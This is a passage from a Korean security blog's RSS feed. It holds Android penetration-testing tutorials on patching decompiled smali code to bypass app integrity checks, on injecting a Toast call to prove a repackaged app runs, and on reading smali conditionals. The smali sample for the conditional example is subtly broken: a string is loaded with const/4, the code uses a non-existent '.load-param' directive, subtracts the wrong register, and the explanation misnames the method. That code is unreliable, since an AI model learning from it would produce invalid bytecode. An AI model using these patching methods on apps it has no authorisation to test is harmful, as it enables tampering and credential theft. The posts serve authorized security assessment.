&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드 패치는 복잡한 바이트 코드를 작성하는 것이 아니라 필요 사항에 맞게&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;코드를 적절하게 수정하는 과정&lt;/b&gt;&lt;/span&gt;이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 과정에서는 코드의 수정을 최대한 적은 바이트로 제한하는&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;즉&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;&lt;/span&gt;&lt;span style=&quot;background-color: #f3c000;&quot;&gt;게으른 접근 방식&lt;/span&gt;&lt;span&gt;&amp;rsquo;&lt;/span&gt;이 좋다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 방식은 불필요한 변경을 최소화하면서도 목적을 달성하기 위한 가장 효과적인 방법이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;디컴파일된 코드를 읽고 해석하는 것에 많은 시간을 투자하고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드 패치가 필요한 가장 적은 코드만 수정한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱이 난독화되어 있어 읽을 수 있는 코드의 양이 많지 않더라도 자바와 네이티브 코드에서 수많은 검사를 마친 후 단 하나의 조건 검사문만 수정해도 전체 로직을 우회하는 것이 가능할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;진단 방법&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;진단 보고서 작성 시 변조된 기능 실행 사실이 화면으로도 잘 드러나면 좋겠지만 그렇지 않은 경우 안드로이드 위젯 중&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;'&lt;/span&gt;토스트 메시지&lt;span&gt;(toast message)'&lt;/span&gt;를 사용한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;토스트 메시지는 사용자에게 간단한 정보를 잠시 동안 화면에 표시하는 기능으로&lt;span&gt;, smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드 사용 시 함수에서 필요한 인자가 적고 다른 클래스와 의존성이 낮아 코드의 삽입만으로 기능을 동작하게 할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;동시에 화면에서 보여줄 수 있는 시각적 피드백을 제공하기 때문에 변조한 앱의 실행 성공 여부를 증적&lt;span&gt;(&lt;/span&gt;스크린샷&lt;span&gt;)&lt;/span&gt;으로 제공할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;먼저 자바 코드로 작성된 토스트 메시지 함수를 확인한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731834911611&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;import android.widget.Toast;
Toast.makeText(getApplicationContext(), &quot;Integrity Check&quot;, Toast.LENGTH_LONG).show();&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;위 코드를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드로 나타내면 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731834911612&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;const/4 v0, 0x1
 
const-string v1, &quot;Integrity Check&quot;
 
invoke-static {p0, v1, v0}, Landroid/widget/Toast;-&amp;gt;
makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
 
move-result-object v0
 
invoke-virtual {v0}, Landroid/widget/Toast;-&amp;gt;show()V&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;코드를 첫 줄부터 살펴보면&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;v0&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;레지스터에 정수&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;1(0x1)&lt;/span&gt;을 할당한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;레지스터는 메모리에서 변수의 값을 저장하는 공간이다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;다음으로&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;v1&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;변수에 출력할 문자열인&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;Integrity Check&quot;&lt;/span&gt;을 할당한다&lt;span&gt;. android.widget.Toast&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;객체에서&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;makeText()&lt;/span&gt;의 인자로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Landroid/content/Context, Ljava/lang/CharSequence, I&lt;/span&gt;를 사용하는 것은 함수의 인자로 사용할 자료형을 명시한 것이다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;접두사로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;L&lt;/span&gt;이 있는 경우 해당 인자가 클래스 또는 인터페이스임을 의미한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;각 인자는 안드로이드나 자바에서 제공하는 기본 클래스로부터 상속받은 것을 이름으로 확인할 수 있으며 클래스별 선언은 공식 문서로 확인할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;첫 번째 인자인 컨텍스트&lt;span&gt;(context)&lt;/span&gt;의 경우 현재 실행 중인 앱의 정보를 갖는 인터페이스로 다른 클래스 접근하기 위해 사용한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;두 번째 인자는 문자열 자료형을 받는다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;세 번째 인자는 정수형 자료형을 받는다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;makeText()&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수를 불러와서 이전에 할당한&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;v0, v1&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;변수를 인자로 하여 토스트 메시지를 띄우기 위한 객체를 준비하며 이를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&amp;lsquo;&lt;/span&gt;객체의 인스턴스화&lt;span&gt;&amp;rsquo;&lt;/span&gt;라고 한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;그 다음&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;show()&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수를 호출하여 화면에 토스트 메시지를 출력한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 코드를 무결성 검증이 필요한 중요 로직을 가진 클래스 내 삽입하거나&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱 시작시 동작하도록&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;MainActivity&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;내&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;onCreate()&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;콜백함수 내 삽입하고 리패키징하여 코드의 정상 실행 여부를 확인한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;415&quot; data-origin-height=&quot;835&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bk54Wb/btsKyrLRgnl/qppiCsaotg5niM5IJ4Huy1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bk54Wb/btsKyrLRgnl/qppiCsaotg5niM5IJ4Huy1/img.png&quot; data-alt=&quot;코드 변조한 앱의 실행 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bk54Wb/btsKyrLRgnl/qppiCsaotg5niM5IJ4Huy1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbk54Wb%2FbtsKyrLRgnl%2FqppiCsaotg5niM5IJ4Huy1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;327&quot; height=&quot;658&quot; data-origin-width=&quot;415&quot; data-origin-height=&quot;835&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;코드 변조한 앱의 실행 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;94&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약여부&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bfbfbf;&quot; width=&quot;507&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;설명&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;94&quot;&gt;&lt;span&gt;취약&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;507&quot;&gt;&lt;span&gt;코드가 수정된 앱을 실행했을 때 무결성 검증 로직이 동작하여 경고 메시지를 띄우거나 앱을 종료하는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td width=&quot;94&quot;&gt;&lt;span&gt;양호&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td width=&quot;507&quot;&gt;&lt;span&gt;코드가 수정된 앱을 실행했을 때 변조&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;삽입한 코드가 실행되는 경우&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Security/└ 안드로이드 취약점 진단</category>
      <category>안드로이드 모의해킹</category>
      <category>오블완</category>
      <category>티스토리챌린지</category>
      <author>땅콩킹땅콩</author>
      <guid isPermaLink="true">https://gomguk.tistory.com/276</guid>
      <comments>https://gomguk.tistory.com/276#entry276comment</comments>
      <pubDate>Sun, 17 Nov 2024 18:16:05 +0900</pubDate>
    </item>
    <item>
      <title>[안드로이드 모의해킹] 코드 패치와 앱 무결성 검증 (smali 코드 분석)</title>
      <link>https://gomguk.tistory.com/273</link>
      <description>&lt;blockquote style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot; data-ke-style=&quot;style3&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;직접 연구하여 작성한 자료입니다. 공식 출처가 명시되지 않은 자료의 무단 복제, 사용을 금지합니다.&lt;br /&gt;공격 기법은 학습용, 허가된 환경에서 실습 바랍니다. 실 운영망 대상 공격은 처벌받습니다. (정보통신망법 제48조 1항)&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: AppleSDGothicNeo-Regular, 'Malgun Gothic', '맑은 고딕', dotum, 돋움, sans-serif;&quot;&gt;&lt;b&gt;개요&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;안드로이드 단말의 무결성만큼 앱의 무결성도 매우 중요하다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공격자가 앱 내부 코드를 변조하여 리패키징을 수행하면&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;악성코드가 앱 내부에 삽입될 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;안드로이드 설치 파일은 구글 플레이 스토어뿐만 아니라 제&lt;span&gt;3&lt;/span&gt;자 제공 스토어에서도 다운로드 받을 수 있으며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;단말에서 허용하는 경우&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;apk&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일을 별도로 다운로드 하여 설치할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 과정에서 위&lt;span&gt;∙&lt;/span&gt;변조된 앱이 설치되면 사용자 데이터에 접근하거나 민감정보가 유출될 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;예를 들어 기존 앱과 동일한 뷰로 로그인 기능을 구현하고 계정정보를 앱 서버가 아닌 공격자의 서버로 전송하도록 변조한 앱을 사용자가 사용하면&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;계정정보가 유출된다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또한 게임 앱에서 점수를 조작하거나 피해량 수치를 조작하여 죽지 않는 캐릭터를 만드는 등 변조가 가능하다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이와 같은 위협을 방지하기 위해 앱의 코드가 변조되지 않았음을 검증하고 기능을 사용해야 한다&lt;span&gt;. apk&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;파일은 디컴파일과 배포가 쉬워 신뢰할 수 없는 코드 실행을 방지하고 변조된 앱의 설치 및 실행을 금지하는 조치가 필요하다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;디지털 서명&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앱 해시값 검증&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;안전한 배포 채널 사용 등을 통해 앱의 무결성을 보장해야 한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span&gt;&lt;span&gt;①&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드 수정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드는 자바 바이트 코드를 사람이 읽기 쉽도록 변환한 것이다&lt;span&gt;. smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드의 특징과 해석 방법을 간략히 나타내면 다음과 같다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;자주 사용되는 명령어에 해당하는 경우이며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;정확한 명령어 사용 명세는 공식 문서를 참고한다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;smali 코드는 '명령어 인자'의 구조로 구성한다. 명령어에 따라 인자는 없거나 하나 이상 존재한다.&lt;/li&gt;
&lt;li&gt;명령어 인자는 '대상-소스' 순서로 배열한다. move vA, vB인 smali 코드는 vB의 값을 vA로 이동한다는 의미이다.&lt;/li&gt;
&lt;li&gt;명령어 또는 인수에 접두사, 접미사가 붙은 경우는 주로 자료형을 나타내며, 자료형마다 크기가 다르기 때문에 몇 바이트까지 인자로 해석할 것인지에 대한 직관성을 보여준다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;100%&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;b&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;코드 형식&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;바이트 코드를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드로 해석하는 규칙은 안드로이드 공식 문서를 참고할 수 있다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;a href=&quot;https://source.android.com/docs/core/runtime/dalvik-bytecode?hl=ko&quot;&gt;https://source.android.com/docs/core/runtime/dalvik-bytecode?hl=ko&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드 패치를 위해 분석하는 경우 조건문이 어떻게 해석되는지 살펴본다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;다음은 조건문을 사용하는 자바 코드이다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731740849562&quot; class=&quot;angelscript&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;public class Example {
    public int cal(int a, int b) {
        if (a &amp;gt; 0) {
            return a + b;
        } else {
            return a - b;
        }
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시의 자바 코드의 보면&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;Example&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;클래스를 선언하고 내부에&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;cal&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;함수를 선언하여 기능을 구현하였다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;정수형 인자 두 개를 받아&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;변수가&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;0&lt;/span&gt;보다 큰 경우 덧셈&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;그렇지 않은 경우 뺄셈 연산을 수행한다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;이 코드를&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드로 변환하면 다음과 같다&lt;span&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1731740849563&quot; class=&quot;smali&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;kotlin&quot;&gt;&lt;code&gt;.class public Lcom/example/Example;
.super Ljava/lang/Object;
.method public cal(II)I
    .locals 3
    .parameter &quot;a&quot;
    .parameter &quot;b&quot;
    .prologue
    .line 4
    .load-param v0, &quot;a&quot;  ; v0 레지스터에 지역변수 'a' 할당
    .line 5
    const/4 v1, 0  ; v1 레지스터에 상수 0 할당
    const/4 v2, &quot;b&quot;; v2 레지스터에 지역변수 'b' 할당
    if-gt v0, v1, :cond_positive  ; v0 &amp;gt; v1의 결과가 참일 경우 :cond_positive로 이동
    .line 8
    sub-int/2addr v0, v1  ; v0 - v1의 결과를 v0에 할당
    .line 9
    goto :end  ; end 라벨이 있는 줄로 이동
    :cond_positive
    .line 12
    add-int/2addr v0, v2  ; v2 + v0의 결과를 v0에 할당
    :end
    .line 14
    return v0
.end method&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;smali 코드는 가장 첫 번째 줄에서부터 순차적으로 실행되므로 분석 또한 기능이 시작되는 가장 첫 줄부터 순차적으로 진행한다.&lt;/li&gt;
&lt;li&gt;.class public Lcom/example/Example : 클래스선언을 나타낸다.&lt;/li&gt;
&lt;li&gt;.super Ljava/lang/Object: 부모클래스를 나타낸다. Java.lang.Object클래스를 상속받았다는 의미이다.&lt;/li&gt;
&lt;li&gt;.method public calc(II)I : calc메서드의 선언을 나타낸다. (II)I는 메서드의 인자와 반환 값의 자료형을 나타낸다. II는 두 개의 int 인자를 나타내고 I는 int 반환 값의 자료형을 나타낸다.&lt;/li&gt;
&lt;li&gt;.locals 3: 지역 변수를 선언한다. 3개의 변수를 선언하였다.&lt;/li&gt;
&lt;li&gt;.load-param v0, &quot;a&quot;': v0 레지스터에 지역변수 a를 할당한다.&lt;/li&gt;
&lt;li&gt;if-gt v0, v1, :cond_positive: v0(a), v1(0)을 비교하여 v0가 더 큰 경우 :cond_positive 라벨이 붙은 라인으로 이동(jump)한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; width=&quot;100%&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;div&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: #4472c4;&quot;&gt;코드의 조건문&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;코드의 조건문은 다음과 같다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;영문 설명의 약어를 딴 것이기 때문에 영문 설명을 함께 보면 이해가 쉽다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;앞의 조건절이 참인 경우 명령문 내 라벨이 있는 줄으로 이동하거나 추가 명령을 수행할 수 있다&lt;span&gt;.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;조건절에 부합하지 않는 경우 다음 줄에 있는 코드를 이어서 실행한다&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 122px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 20px;&quot;&gt;
&lt;td style=&quot;background-color: #d9d9d9; height: 20px; text-align: center;&quot; width=&quot;182&quot;&gt;&lt;span&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;smali&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;코드&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
